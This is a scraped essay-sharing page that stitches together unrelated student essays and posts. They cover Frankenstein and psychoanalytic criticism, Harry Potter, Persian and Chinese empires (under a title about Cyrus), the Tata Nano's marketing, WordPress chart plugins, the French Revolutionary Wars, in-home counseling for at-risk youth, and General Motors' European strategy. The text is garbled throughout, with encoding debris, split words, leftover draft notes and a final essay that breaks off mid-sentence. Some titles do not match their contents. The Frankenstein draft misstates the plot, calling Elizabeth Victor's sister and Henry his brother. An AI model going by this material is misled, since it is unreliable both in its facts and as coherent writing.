Psychoanalytic Criticism Of Frankenstein - 883 Words

Brittany James Mrs.Shelley Wisener ENGL 2321: Frankenstein Analysis Essay 29 September 2017 Title Citations Unsure to keep Better way to word this? ADD INTROOOO In Mary Shelley’s Frankenstein there is a strong factor of Psychoanalytic Criticism, specifically the Oedipus Complex. The Oedipus Complex is derived from a child s need for their parents attention, as they mature they realize they are not the absolute focus of their [parent s] attention (Brizee 1995). In the child s mind the reason for this conflict is because of the intimacy of the parents relationship, excluding the child (1995). In the case of Frankenstein the oedipal criticism applies to Victor and his sister Elizabeth. When Shelley wrote the original 1818†¦show more content†¦In the story of Prometheus, he was tasked with the creation of man. With all of the other biological traits used on the animals, â€Å"Prometheus decided to make man stand upright as the gods did(Hunt 2011). While producing his ideas for his creation, he was trying to determine what kind of creature he should make, he soon decided and â€Å"began the creation of a human being† (She lley 38). Both creators produced a being or beings in the shape of themselves. As a modern Prometheus, Victor â€Å"challenges the divinely ordained, natural procreative role of the female (Lehman 1992). Women are biologically ordained to create humans, Victor challenges his limits has a man, to create his creature. Another aspect that connects these two literature pieces is the consequences the authors of the creatures face. After Prometheus tricks the gods and gives man fire, he is sentenced to life punishement. Prometheus is chained to a rock and everyday he must endure a giant hawk tearing out his liver. Victor faces punishment for the creation of his creature as well. The creature, after having been abandoned and discarded, kills Victor’s brother, Henry. The Creature goes on to murder several other people close to victor, including his newly-wed Elizabeth. This is Victor’s form of punishment, along with the self-induced psychological punishment. Victor harshly bl ames himself for all the creature’s doings, and tasks himself the role of hunting him down, no matter the cost. Similar to connectionShow MoreRelatedPsychoanalytic Criticism Of Frankenstein863 Words   |  4 Pages Frankenstein, by Mary Shelley, is a gothic novel about a young man named Victor Frankenstein who creates this monster that goes on to kill off all Victors loved ones, one by one. The story is quite different than the literature that was being produced in this era. The theme of a creation story is universal throughout Frankenstein, as well as the Prometheus and Genesis story. Not only is the creation story present in Frankenstein, but the use of Sigmund Freud and his idea of unconscious desires andRead MorePsychoanalytic Criticism of Relationship Between Victor Frankenstein and His Creature501 Words   |  3 PagesIn Mary Shelley’s novel, Frankenstein, the relationship between Victor Frankenstein and the creature he has given life to can be explained by applying psychoanalytic criticism. This explanation will look specifically at Victor’s Oedipal complex, the develop mental issues of the creature, and the id/ego/superego dynamics between Victor and the creature. The roots of Victor’s Oedipal complex can be traced back to his creation. Alphonse Frankenstein married his best friends’ daughter, a young womanRead MoreFrankenstein Essay1176 Words   |  5 PagesMany people know that Mary Shelley, the author of Frankenstein, was part of a family of famed Romantic era writers. Her mother, Mary Wollstonecraft, was one of the first leaders of the feminist movement, her father, William Godwin, was a famous social philosopher, and her husband, Percy Shelley, was one of the leading Romantic poets of the time (Frankenstein: Mary Shelley Biography.). What most people do not know, however, is that Mary Shelley dealt with issues of abandonment her whole life andRead MoreFrankenstein Analysis Essay1252 Words   |  6 PagesKade Gilbert Mrs. Shelley Wisener ENGL 2321: Frankenstein Analysis Essay 2 October 2017 Mary Shelley’s Journal The human brain while complex, initiating every impulse that controls the body, can be simplified. Simple things such as memories, beliefs, or passions can define the decisions that a person makes. The impulses of humanity may cloud a person’s logic, while each person’s logic, in turn, may affect the impulses of humanity. Mary Shelley’s Frankenstein is overflowing with emotionally based decisionsRead MorePursuit Of Knowledge In Frankenstein1866 Words   |  8 PagesIn the gothic novel, Frankenstein, written in 1818, author Mary Shelley tells a blood chilling story of Victor Frankenstein and his monstrous creation. Many of the main concepts in the Romantic literary movement are prevalent throughout the novel. Some of these concepts include nature as beauty and truth, strong personal motivation, and gothicism which inhibits intense emotion and complex psychology. Victor’s   monstrous creation can be categorized as a romantic hero because of his continuous rejectionRead MoreAnalysis Of Mary Shelley s Frankenstein Or The Modern Prometheus 1710 Words   |  7 PagesFrankenstein; or, The Modern Prometheus by Mary Shelley, is one of the most iconic tales of 19th century literature. Grandly displaying a mastery of psychological depth within the characters, the author portrays a flawed society inherent within their scientific progression. As such, the enriching tale draws many criticisms from the society in which Shelley lived in, some of which encompasses appearances, feminism, and class restrictions. Retold through multiple mediums, the story is generally seenRead MorePsychoanalyzing Victor Frankenstein Essay example1619 Words   |  7 Pagesreflected on his crimes and malice, my hatred and revenge burst all bounds of moderation.† In her novel, Frankenstein, Mary Shelley creates Victor Frankenstein, as a character who becomes psychologically unable to continue his normal life after he turns lifeless mater into a living creatur e through his studies of natural anatomy. Though many years have passed between the writing of Frankenstein and the making of the Television hit, Dexter, the creator of the show, James Manos Jr., created a characterRead MoreFrankenstein, By Mary Shelley1292 Words   |  6 PagesAlthough the structure of the novel Frankenstein is focused around male protagonists, Victor Frankenstein and his progeny, the core ideals of the novel play with the way society views the female sex. Female traces in Frankenstein uncover Mary Shelley’s views of struggles with femininity and sexuality that she perceives from society. The creature of Frankenstein altered into a monster because of the absence of a motherhood role in his life. The transformation that makes the creature a â€Å"monster†Read MoreAnalysis Of Prometheus And Frankenstein By Mary Shelley Essay1996 Words   |  8 PagesPrometheus and Frankenstein both written in two different centuries I will show that our mentality hasn ’t changes much in regards to monsters. While Prometheus and Frankenstein are, both consider monsters, Prometheus deals with trying to help humanity and Frankenstein deals with trying to find an understanding of why he was created. Both are considered monsters because of their actions. In the book Frankenstein by Mary Shelley, there is an article entitled Psychoanalytic Criticism and Frankenstein. In thisRead MoreMary Shelley s Frankenstein, And A Patient s Fears Of Childbirth Essay2151 Words   |  9 PagesWritten by Mary Shelley, Frankenstein tells the story of Victor Frankenstein, a scientist who creates a monster and spends the remainder of his life trying to kill it.   According to psychologist, Barbara R. Almond’s article The monster within: Mary Shelley s Frankenstein and a patient s fears of childbirth and mothering, she argues that â€Å"the ‘monster’ is an impossible child, the issue of a failed dream†¦ and must therefore be denied, rej ected and ultimately made monstrous† (Almond, 776). While

The Magic of Harry Potter and the Sorcerers Stone Essay

Essays on The Magic of Harry Potter and the Sorcerer's Stone Essay The paper "The Magic of Harry Potter and the Sorcerers Stone" is an outstanding example of an essay on literature. I believe that Harry Potter and the Sorcerers Stone is incredibly successful because of multiple factors: lovable characters that the audience can identify with and root for; imaginative settings that children and adults can delight in exploring; an exciting plot that promises new happenings and outcomes; and the universal themes of friendship and finding one’s identity. First, this book has characters that many readers can fall in love with. They will love Harry and root for him because of his traumatic childhood experience. They will want him to be prepared in defeating Voldemort. They can relate with him, Ron, and Hermione too because these kids want to find out who they are and to prove themselves worthy of being in Hogwarts. The audience can also love to hate Snape for being the archetype of the detestable teacher. These are characters that arouse emotions an d motivate people to read more about them. Second, the settings are creative and new. Hogwarts and its nearby environments are treasures of new sights, sounds, tastes, and scents that can pique and hold the interest of various people. Third, the plot is engaging and exhilarating. It has numerous action-filled subplots and enough drama to keep the story â€Å"real.† Finally, the themes of friendship and finding one’s identity are important themes to numerous people. Human beings want to find real friends and to uncover and develop their real identities. Harry Potter and the Sorcerers Stone is successful because it has magic without being unrealistic. It can cast a spell on people who like characters who have goals and challenges in life and who want to live in fantastic worlds where good can trump evil.

Cyrus the Shepherd Free Essays

Sorie Kargbo AP World 1A 10-9-12 In  Persia  Ã¢â‚¬Å"Cyrus  the Shepherd† invited a newer, more sophisticated government that distinguished it from the previous foundation civilization. In this new government, a centralized bureaucracy ruled, meaning that while Cyrus was the king and Persepolis was the capital a highly staffed team helped run the empire. Since the Persian Empire was so large, Cyrus broke it up into many distinct sections called satraps, which had considerable local autonomy (power). We will write a custom essay sample on Cyrus the Shepherd or any similar topic only for you Order Now In other words, not only was there a strong central government but there was also bureaucrats who helped rule and maintain order in provinces throughout the empire. The Persian Empire, in addition, was very diverse, containing many different religions and ethnicities. Overall, the Persian Emperors were very tolerant and respected all peoples. The big religion you should know, however, is Zoroastrianism. Many historians consider this the first Monotheistic faith. Technologically, the Persians had Qantas which were sophisticated irrigation dams. Of course, metallurgy was still an integral part of technological life. In China, as you may know, the foundations period ended with the fall of the Zhou Dynasty and the commencement of Warring States Period, a time of great strife and civil war in China. Finally, however, the  Qin Dynasty  gained power. Qin Huangde (sp) was the emperor of the Qin and he was very, very power-hungry and intolerant. He made his people complete many public works project, pay high taxes, and he even ordered the burnings of thousands of books. If someone disagreed with him, they would die – no questions asked! Of course, not all bad came out of this period. First of all, the Qin Dynasty marked the return to stable rule after centuries of ravaging civil war. Also, magnificent structures like The Great Wall of China were commenced at this time. Later, after the fall of the Qin (which only lasted 10 years due to peasant unrest – I wonder why†¦.. the Han Dynasty took over. The Han was much more similar to the Persians. It was centralized and bureaucratic. One important distinction, however, is that the leaders practiced Confucianism and had to pass a civil-service examination to serve as a government leader. While religion formed the backbone of culture in Persia, Confucianism was the cultural hallmark of China. Like Persia, China used progressively more advanced irrigation technique s to stop the flooding of the Yellow River and metallurgy How to cite Cyrus the Shepherd, Essay examples

Marketing Strategy of Tata Nano Essay Example For Students

Marketing Strategy of Tata Nano Essay Introduction About the TATA MOTORS Tata Motors is Indias largest automobile company, with consolidated revenues of Rs 92,519 crore ($20 billion) in 2009-10. Through subsidiaries and associate companies. Tata Motors is the countrys market leader in commercial vehicles and among the top three in passenger vehicles. It is also the worlds fourth largest truck manufacturer and the second largest bus manufacturer. Tata cars, buses and trucks are being marketed in several countries in Europe, Africa, the Middle East, South Asia, South East Asia and South America. About the TATA NANO TATA NANO with a tag line of â€Å"Peoples Car† its self tells that made for that people who just Imagine that when will be he/his family having a car Shree Ratan Tata came with NANO concept with 1 lakh Rupees dreamed car. Idea Generation I saw families riding around on scooters with kids standing up and the mother carrying a baby and sitting pillion and decided to do something about it. It started as a quest for an affordable transportation solution. Tata Nano: Specifications ? Looks: The snub-nosed car keeps in the tradition of the Fiat 500, Nissan Micra and the Smart. ? Dimensions: 3. 1 meters (10. 23 feet) long, 1. 5 meters wide and 1. meters high. Can seat four to five people ? Engine: A two cylinder 623 cc, 35 horsepower rear mounted, all aluminum, multi-point fuel injection petrol engine can power the car to top speeds of 105 kilometers per hour (65 miles per hour). ? Fuel Efficiency: 20 kilometers per liter, or 50 miles per gallon is claimed. ? Pollution: Exceeds India n regulatory requirements and can meet strict Euro IV emission standards. In terms of overall pollutants, Tata says the car is better than two-wheelers manufactured in India currently ? Safety: Car exceeds current regulatory requirements with a strong passenger compartment, crumple ones, intrusion resistant doors, seat belts, strong seats and anchorage. ? Nearest Domestic Car Rival: Maruti 800, part of Japanese-owned Suzuki Maruti stable whose base model sells for about 4,800 dollars nearly double the price of the Nano ? Nearest International Rival: Chinas Chery QQ which retails for 3,600 dollars. ? Market: Indias car market is a huge draw because car penetration is just seven per 1,000 people, compared to 550 per 1,000 in such countries as Germany or 476 in France, according to the Society of Indian Automobiles |Length |3. mtr | |Wide |1. 5 mtr | |Height |1. 6 mtr | |Weight |600 kg | |Mileage |20 kmpl | |Fuel tank |15 ltr | |Engine |624 cc | |Top Speed |95 – 100 kph | |Grou nd clearance |180 mm | |Gear box |4 speed | Product Features |Brand |Model |Variant |Engine |CC |Power |AC |Price | | | | |Cylinder | | | |In Lakh | |TATA |NANO |BASIC |2 |623 |35 |NO |1. | |TATA |INDICA |XETA GLE |4 |1193 |65. 3 |YES |2. 82 | |MARUTI |800 |STANDARD |3 |796 |37 |NO |1. 86 | |MARUTI |OMNI |PETROL |3 |796 |47 |NO |2. 3 | |MARUTI |ALTO |STANDARD |3 |796 |35 |NO |2. 26 | |HYUNDAI |SANTRO |GL |4 |1086 |62 |NO |2. 21 | |CHERVROLET |SPARK |STANDARD |4 |995 |63 |YES |2. 61 | Segmentation Variable |Used | |Geographic |Rural and Urban | |Demographic |Family size and Income wise | |Behavioral |Benefit and user status | Target Market: Executive two wheeler segment, second hand car user, auto rickshaw market, middle and lower income group people. Promotion activities ? Enough use of one of the most important element of promotion mix, publicity reduces the necessity of other promotional devices for nano, Nano got the publicity in the following ways:- 1) Publicity as â€Å"One lakh Rupee car† by mouth to mouth 2) Au to expo 2008, New Delhi and Geneva 3) Publicity through print and electronic media ) Singur violation 5) Online buzz :- Tata Motor Marketing team has gone beyond the traditional of advertising and promotion online. a) Social media communities ? Official Orkut community members – 11,454 ? Official Facebook Group fans – 9,181 ? Highest view count on Youtube – 6,11,534 ? TATA have a blog on the official website they have been discussing interesting topics and generally an active community

Want WordPress Charts and/or Graphs A Hands-on Look at 4 Plugins

In todays Internet-friendly world, finding data on any subject is easy. Whats difficult is putting it all together in a way thats easy to digest. One way to make your data more comprehensible is to use visual forms of representation such as charts, graphs, and maps. With the right WordPress charts and graphs plugin, you can quickly create great-looking data visualizations on your WordPress site.In this post, well share four great free plugins that you can start using right away. While all the core plugins are free, you sometimes might need the premium version to unlock the best charts and graphs functionality. 1. TablePressFirst on our list of tools for data visualization is a much-loved plugin,  TablePress. It allows you to create any number of tables and embed them in any post, page, or widget using shortcodes. TablePress Author(s): Tobias Bà ¤thgeCurrent Version: 1.9.2Last Updated: May 6, 2019tablepress.1.9.2.zip 100%Ratings 4,752,393Downloads 4.9.1Requires The tables c an have any number of rows and columns. Additionally, youll be able to add, delete, insert, hide, or duplicate rows and columns, and combine individual cells.Key Features include:A spreadsheet-like interface, including drag and drop reorderingImport and export tables from/to Excel, CSV, HTML, and JSON filesUse imported data to replace data in an existing table or to create a new tableInsert images and linksJavaScript library support that helps to filter, paginate and sort at the front-endFormula supportWe have a complete tutorial on using TablePress, so Ill not go into details here. But for a quick peek into the easy interface that you get to type directly into, view the screenshot below:I was able to create a table on my very first attempt with fictitious data, and this is how it appears.Rainfall over 5years20112012201320142015Australia3548534440Argentina5258663540China7966586554France2625382420Uganda3244254932 Whats important to note here is that the appearance of the table depend s a great deal on the theme you use. However, you can customize your tables using simple CSS. Besides, there are a number of extensions (free, though you can donate) that help you add custom features to your table (including responsiveness).And with the third-party Chartist extension for TablePress, you can use your table data to create gorgeous WordPress responsive charts using Chartist.js: TablePress Extension: Chartist Author(s): Silsha FuxCurrent Version: 0.9Last Updated: November 27, 2017charts-for-tablepress-chartist.0.9.zip 100%Ratings 9,227Downloads WP 4.7+Requires TablePress enjoys a 5-star rating from 3,000+ users. It also boasts well over a half a million active installations, so clearly the plugin works, and works well.2. WordPress Charts and Graphs LiteNext on our list of tools for data visualization is the popular WordPress Charts and Graphs Lite (Visualizer) that enjoys 30,000+ active installs. Visualizer: Tables and Charts Manager for WordPress Author(s): ThemeisleCurrent Version: 3.3.2Last Updated: October 3, 2019visualizer.zip 90%Ratings 614,496Downloads WP 3.5+Requires Available in both Lite and Pro versions, its great not only for tables but for other display formats as well 9 in Lite, plus an additional 3 in Pro.The plugin is responsive, light and fast, and the charts are cross-browser and cross-platform compatible. While the basic setup is good to go, you also have options to customize the charts extensively.Key features include:Interactive WordPress charts reveals additional info on hoverThe plugin works both with data from files uploaded from your computer as well as hosted onlineImport data from Google spreadsheets, CSV file and other charts. (Pro feature import from WordPress)Each chart type comes with a number of basic as well as advanced customization optionsCreate charts from your WordPress posts, pages, products or any other post typeEdit and clone any existing chartThe Advanced link on each chart type opens up a number of customization options. Youll be able to add titles, change fonts, font size, color, and much more.Once the chart is complete, copy the generated shortcode and insert it in any post or page. To illustrate, heres one of the ready-made demo charts:The Premium plugin includes some time-saving features such as syncing with online files and a live editor. Chart data can be updated based on a set time interval by overwriting current data with data from a URL, or by uploading another file. But whats really cool is that you can switch from one chart type to another easily.Packages start at $70 (suitable for bloggers) to $294 for Agency (suitable for Professional sites and portals).Learn more about how to create charts with this plugin.3. wpDataTables LitewpDataTables Lite  is another option that helps you to quickly create tables in WordPress from existing data sources Excel, CSV, Google Spreadsheet, MySQL query, XML, JSON and serialized PHP array. Data will be read from the s ource on each page load. wpDataTables Tables Table Charts Author(s): TMS-PluginsCurrent Version: 2.0.14Last Updated: September 25, 2019wpdatatables.2.0.14.zip 72%Ratings 133,553Downloads WP 4.0+Requires The plugin is responsive, though you may have to specify the columns or rows that should collapse on mobile. And since it does not support MySQL, Excel-like editing is not possible with the lite version. On the other hand, the pro version allows data import to MySQL. That allows editing in WP admin, or even at the front-end.Key Features include:Choice of interface languageChoice of three skinsHide the table until it is fully loadedEnable a horizontal scrollbar below the tableTables are sortable, searchable and can be paginatedTable can be copied to clipboard, or exported to CSV, PDF, XLS functionsAdd images and linksHeres a screenshot of available settings:Using some made-up data, I was able to create a table and this is how it appears in Preview modeand from the front-end. What can be a dampener is that tables can have only up to 150 rows in the free version. This may not be sufficient to present large amounts of data.The Pro version is popular on CodeCanyon and permits manual data entry. Not only that, it supports formulas and allows front-end editing. Youll be able to highlight cells and rows based on values, apply advanced filtering and link dynamic charts to tables.The lite plugin offers only a table format, while the premium plugin (at $44) can display 35 dynamic chart types. It works well for huge datasets. You can achieve even more with premium add-ons.4. Data Tables Generator by SupsysticTo round things out, lets look at  Data Tables Generator by Supsystic. It automatically creates WordPress responsive tables by default, though you can also disable the responsive feature to adjust the dimensions of your tables. Data Tables Generator by Supsystic Author(s): supsystic.comCurrent Version: 1.9.81Last Updated: October 2, 2019data-tables-gener ator-by-supsystic.zip 96%Ratings 699,911Downloads Requires Tables are sortable and can have any number of rows and columns. While in the editor, youll be able to choose text and background color, and specify vertical and horizontal alignment. Besides, a right-click on any cell opens up more editing options such as Read Only mode for any cell. Or, a right click can turn the cursor into a resize cursor to adjust row and column boundaries.Key Features include:Support for formulasInserts links, images or commentsTitle, header, and footerPagination and searchChoice of loader icon and colorCompact mode option which reduces white spaceEnable borders, highlight alternate rows, highlight by mouse hoverAdd custom CSS for each tableUsing mostly default settings, heres the preview of the chart I created with made-up data using the pluginand the front-end view of the same.Pro features  include options to change font family and addition of front-end editable fields. Moreover, youll be able to restrict front-end editing to only logged in users or selected user roles. Export and import of tables, auto update from Google sheets and access to table history are additional pro features.If youve got to pick one standout feature, it has to be the Diagrams that help to convert your completed table into any chart format area, line, pie, bar, column or bubble. Surely, this plugin is one of the better tools for data visualization.Prices start at $29 for one site, and go up to $99 for unlimited sites.Final thoughtsThough you might need to pay for the premium version in some cases, all these WordPress charts plugins make great options for visually displaying data on your site.Have any other questions about creating tables, charts, or graphs on your WordPress site? Leave a comment and well try to help! Check out these 4 great #plugins that help you create #WordPress charts

War of the First Coalition in 1790s France

War of the First Coalition in 1790s France The French Revolution led to much of Europe going to war in the mid-1790s. Some belligerents wanted to put Louis XVI back on a throne, many had other agendas like gaining territory or, in the case of some in France, creating a French Republic. A coalition of European powers formed to fight France, but this ‘First Coalition’ was just one of seven which would be needed to bring peace to the majority of Europe. The early phase of that mammoth conflict, the war of the First Coalition, is also known as the French Revolutionary Wars, and they are often overlooked by the arrival of a certain Napoleon Bonaparte, who transformed them into his conflict. The Start of the French Revolutionary Wars By 1791 the French Revolution had transformed France and worked to tear down the powers of the old, nationally absolutist, regime. King Louis XVI was reduced to a form of house arrest. Part of his court hoped that a foreign, royalist army would march into France and restore the king, who had asked for help from abroad. But for many months the other states of Europe refused to help. Austria, Prussia, Russia and the Ottoman Empires had been involved in a series of power struggles in Eastern Europe and had been less worried about the French king than their own jostling for positions until Poland, stuck in the middle, followed France by declaring a new constitution. Austria now tried to form an alliance that would threaten France into submission and stops the eastern rivals from fighting. France and the revolution had thus been sheltered while it progressed but became a useful distraction with land which could be taken. On August 2nd, 1791 the King of Prussia and the Holy Roman Emperor seemed to declare an interest in war when they issued the Declaration of Pillnitz. However, Pillnitz was designed to frighten the French revolutionaries and support the French who supported the king, not start a war. Indeed, the text of the declaration was worded to make war, in theory, impossible. But the emigres, agitating for war, and the revolutionaries, who were both paranoid, took it the wrong way. An official Austro-Prussian alliance was only concluded in February 1792. The other Great Powers were now looking at French hungrily, but this did not automatically mean war. However the emigres - people who had fled France - were promising to return with foreign armies to restore the king, and while Austria turned them down, German princes humored them, upsetting the French and provoking a call for action. There were forces in France (the Girondins or Brissotins) who wanted to take pre-emptive action, hoping that war would enable them to oust the king and declare a republic: the king’s failure to surrender to constitutional monarchy left the door open for him to be replaced. Some monarchists supported the call for war in the hope foreign armies would march in and restore their king. (One opponent of the war was called Robespierre.) On April 20th France’s National Assembly declared war on Austria after the Emperor helpfully tried another careful threat. The result was Europe reacting and the formation of the First Coalition, which was first between Austria and Prussia but was then joined by Britain and Spain. It would take seven coalitions to permanently end the wars now started. The First Coalition was aimed less at ending the revolution and more on gaining territory, and the French less as exporting revolution than getting a republic. The Fall of the King The revolution had wrought havoc on the French forces, as many of the officers had fled the country. The French force was thus an amalgam of the remaining royal army, the patriotic rush of new men, and conscripts. When the Army of the North clashed with the Austrians at Lille they were easily defeated and it cost the French a commander, as Rochambeau quit in protest at the problems he faced. He fared better than General Dillon, who was lynched by his own men. Rochambeau was replaced by the French hero of the American Revolutionary War, Lafayette, but as violence erupted in Paris, he debated whether to march on it and install a new order and when the army wasn’t keen he fled to Austria. France organized four armies to form a defensive cordon. By mid-August, the main coalition army was invading mainland France. Led by Prussia’s Duke of Brunswick it had 80,000 men drawn from central Europe, it took fortresses such as Verdun and closed on Paris. The Army of the Centre seemed like little opposition, and there was a terror in Paris. This was largely due to the fear the Prussian army would flatten Paris and slaughter the residents, a fear caused largely by Brunswick’s promise to do just that if the king or his family were harmed or insulted. Unfortunately, Paris had done exactly that: the crowd had killed their way to the king and taken him prisoner and now feared retribution. Massive paranoia and a fear of traitors also fuelled the panic. It caused a massacre in the prisons and over a thousand dead. The Army of the North, now under Dumouriez had been focusing on Belgium, but marched down to aid the Centre and defend the Argonne; they were pushed back. The Prussian king (also present) gave orders and entered into a battle with the French at Valmy on September 20th, 1792. The French won, Brunswick being unable to commit his army against a larger and well defended French position and so fell back. A determined French effort might have shattered Brunswick, but none came; even so, he withdrew, and the hopes of the French monarchy went with him. A republic was established, in large part due to the war. The rest of the year saw a mixture of French successes and failures, but the revolutionary armies took Nice, Savoy, the Rhineland and in October, under Demouriez, Brussels, and Antwerp after swamping the Austrians at Jemappes. However, Valmy was the victory that would inspire French resolve over the next years. The coalition had moved half-heartedly, and the French had survived. This success left the government to hurriedly come up with some war aims: the so-called ‘Natural Frontiers’ and the idea of freeing oppressed peoples were adopted. This caused further alarm in the international world. 1793 France began 1793 in a belligerent mood, executing their old king and declaring war on Britain, Spain, Russia, the Holy Roman Empire, most of Italy and The United Provinces, despite roughly 75% of their commissioned officers having left the army. The influx of tens of thousands of passionate volunteers helped strengthen the remains of the royal army. However, the Holy Roman Empire decided to go on the offensive and France was now outnumbered; conscription followed, and areas of France rebelled as a result. Prince Frederick of Saxe-Coburg led the Austrians and Dumouriez rushed down from the Austrian Netherlands to fight but was defeated. Dumouriez knew he’d be accused of treason and had had enough, so he asked his army to march on Paris and when they refused fled to the coalition. The next General up - Dampierre - was killed in battle and the next - Custine - was defeated by the enemy and guillotined by the French. All along the borders coalition forces were closing in - f rom Spain, through the Rhineland. The British managed to occupy Toulon when it rebelled, seizing the Mediterranean fleet. France’s government now declared a ‘Levà ©e en Masse’, which basically mobilized/conscripted all adult males for the defense of the nation. There was uproar, rebellion and a flood of manpower, but both the Committee of Public Safety and the France they ruled had the resources to equip this army, the organization to run it, new tactics to make it effective, and it worked. It also started the first Total War and began the Terror. Now France had 500,000 soldiers in four main forces. Carnot, the Committee of Public Safety man behind the reforms was called the ‘organiser of Victory’ for his success, and he may have prioritized an attack in the north. Houchard was now commanding the Army of the North, and he used a mixture of old regime professionalism with sheer weight of conscript numbers, together with coalition mistakes which divided their forces and gave inadequate support, to force the coalition back, but he also fell to French guillotines after accusations doubting his effort: he was accused of not follow up victory quick enough. Jourdan was the next man up. He relieved the siege of Maubeuge and won the battle of Wattignies in October 1793, while Toulon was liberated thanks, in part, to an artillery officer called Napoleon Bonaparte. The rebel army in the Vendà ©e was broken, and the frontiers generally forced back east. By the end of the year the provinces were broken, Flanders cleared, France expanding, and Alsace liberated. The French army was proving fast, flexible, well supported and able to absorb more losses than the enemy, and could thus fight more often. 1794 In 1794 France reorganized armies and moved commanders about, but the successes kept coming. Victories at Tourcoing, Tournai, and Hooglede occurred before Jourdan once more took control, and the French were finally able to successfully cross the Sambre after many attempts, beating Austria at Fleurus, and by the end of June had thrown the allies out of Belgium and the Dutch Republic, taking Antwerp and Brussels. Centuries of Austrian involved in the region had been halted. Spanish forces were repelled and parts of Catalonia taken, the Rhineland was also taken, and the borders of France were now safe; parts of Genoa were now also French. The French soldiers were constantly boosted by patriotic propaganda and a huge number of texts sent out to them. France was still producing more soldiers and more equipment than its rivals, but they also executed 67 generals that year. However, the revolutionary government didn’t dare disband the armies and let these soldiers flood back into France to destabilize the nation, and neither could the faltering French finances support the armies on French soil. The solution was to carry the war abroad, ostensibly to safeguard the revolution, but also to get the glory and booty the government needed for support: the motives behind the French actions had already changed before Napoleon arrived. However, the success in 1794 had been partly due to war breaking out again in the east, as Austria, Prussia, and Russia sliced up a Poland fighting to survive; it lost and was taken off the map. Poland had in many ways helped France by distracting and dividing the coalition, and Prussia scaled -down war efforts in the west, happy with gains in the east. Meanwhile, Britain was sucking up French colonies, the French navy is unable to work at sea with a devastated officer corps. 1795 France was now able to capture more of the northwest coastline, and conquered and changed Holland into the new Batavian Republic (and took its fleet). Prussia, satisfied with Polish land, gave up and came to terms, as did a number of other nations, until only Austria and Britain remained at war with France. Landings designed to aid French rebels - such as at Quiberon - failed, and Jourdan’s attempts to invade Germany were frustrated, in no small part to a French commander following others and fleeing to the Austrians. At the end of the year, the government in France changed to the Directory and a new constitution. This government gave the executive - Five Directors - too little power over war, and they had to manage a legislature which continually preached spreading the revolution by force. While the Directors were, in many ways, keen on the war, their options were limited, and their control over their generals questionable. They planned a two front campaign: attack Britai n through Ireland, and Austria on land. A storm stopped the former, while the Franco-Austrian war in Germany went back and forth. 1796 The French forces were now split largely between operations in Italy and Germany, all aimed at Austria, the only major enemy left on the mainland. The Directory hoped Italy would provide plunder and land to be exchanged for territory in Germany, where Jourdan and Moreau (who both had priority) were fighting a new enemy commander: Archduke Charles of Austria; he had 90,000 men. The French force was disadvantaged as they lacked cash and supplies, and the target region had suffered several years of depredation by the armies. Jourdan and Moreau advanced into Germany, at which point Charles tried to force them apart before the Austrians united and attacked. Charles managed to defeat Jourdan first at Amberg in late August and again at Wà ¼rzberg in early September, and the French agreed an armistice having been pushed back to the Rhone. Moreau decided to follow suit. Charles’ campaign was marked by sending his surgeon over to assist a famed and injured French General. In Italy, Napoleon Bonaparte was given the command. He stormed through the region, winning battle after battle against armies who divided their forces. 1797 Napoleon secured control of northern Italy and fought his way close enough to Austria’s capital of Vienna to make them come to terms. Meanwhile, in Germany, without Archduke Charles - who had been sent to face Napoleon - the Austrians were pushed back by French forces before Napoleon had forced the peace in the south. Napoleon dictated the peace himself, and the Treaty of Campo Formio expanded the boundaries of France (they kept Belgium) and created new states (Lombardy joined the new Cisalpine Republic) and left the Rhineland for a conference to decide. Napoleon was now the most famous general in Europe. The only major French setback was a naval battle at Cape St. Vincent, where one Captain Horatio Nelson assisted a British victory over French and allied ships, which were notionally readying for an invasion of Britain. With Russia far away and pleading financial weakness, only Britain remained both at war and close to France.

Impact of In Home Counseling on at Risk Youth Essay

Impact of In Home Counseling on at Risk Youth - Essay Example By this occurring, children become very withdrawn in the classroom even though they do attempt express their emotional pain to their teacher. From there, it has been concluded from research in home counseling for at risk youths help them not to have more emotional and social issues than those who come from a two-parent home. When children do not have the attention that they need at home, they show aggression in the classroom, which indicates in home counseling works. Human subjects will be utilized for data collection. Data will be collected by observing two controlled groups, one group will be of at risk youth that are receiving in home counseling and the other group has not received home counseling. Both groups attend the same school and classes. Their reaction to the counseling will be measured by questionnaires regarding perception of school and life while attending counseling. At the end of the period, they will fill out another questionnaire to measure any improvements or declines in their behavior and perception. The sample size for the current study will be 100 students; procedures will include but are not limited to distribution of fliers to obtain participants. The population has been selected due to the varying races and the percentage of males and females that are at risk. The questionnaire will include gender, race and questions that determine the perception of life, school and academic achievement by those individuals. Furthermore, the counseling session will obtain details of both groups that the questionnaire missed about their in-depth perception on life and academics. Review of the Findings In these findings, despite more home are not familiar with in home counseling, over ninety percent would want to use it to help better their children. If children have socially supportive arrangements as the attributes of socially legitimate roles which provide for the meeting dependency needs without loss of esteem, they are less likely to show aggression while suppressing destructive behavior. From there, socially supportive environments were presented as pattern interpersonal relationships mediated through shared values and sentiments as well as facilitate the performance of social roles through which needs are met. In summation, social support has been defined as an intervening factor tied directly to the coping process (Pearson, 1986). Social support can also serve as a salve to pains encountered along the way. It gives people the confidence to making a positive change and testing their limits when they know they have a community of support they can call upon. Social support refers to social interactions that are perceived by the recipient to facilitate coping and assist in responding to stress. Social support is thought to reduce the total amount of stress a person experience as well as to help one cope better when stressed (House, & Landis, 2003). It is apparent that for children, the lack of positive adult support and communication from parents, teachers, pastors, or coaches leads to increased behavior issues in the classroom, which can consist of them being destructive. Additionally, if the outlook of adults were more positive, adolescents will be more comfortable seeking support without fear of ridicule or rejection. Furthermore, the result of more positive adult su

Strategic Management and Leadership (2) Essay Example | Topics and Well Written Essays - 3500 words

Strategic Management and Leadership (2) - Essay Example The company also has a wide portfolio of brands which are primarily designed for the EU markets like Saab, Opel and Vauxhall. GM also sold its US brands like Chevrolet, Cadillac, Buick and Hummer in these markets. The shrinking consumer market as well as tougher credit situations worsened the situations for GM, and it had to seek the US government’s aid for bailout. As a part of the emergency aid, GM had agreed to a string of efficiency measures, which included selling off loss making units like its Europe division and closing down some other brands. GM initiated the sell off process of GM Europe, but backed out later as Opel, its marquee European car brand, is a critical component of its global development strategy (Vlasic, 2009). GM was heavily influenced by political factors both in the US and also in Europe. As it filed for bankruptcy protection in US and for government aid, it had to succumb to government pressure and accept a string of harsh measures that resulted in a major worldwide restructuring of its operations. In case of its European unit, it faced stiff opposition when it tried to close it manufacturing facilities in Germany and UK. Going forward, GM had to take into account political factors when it shortlisted possible suitors for the European unit. The world recession brought GM to its knees to the extent that it had to file for bankruptcy protection in US courts on June 1, 2009. In the year ending 2008, GM absorbed a 21% decrease in sales in its strongest market, North America and a relatively modest 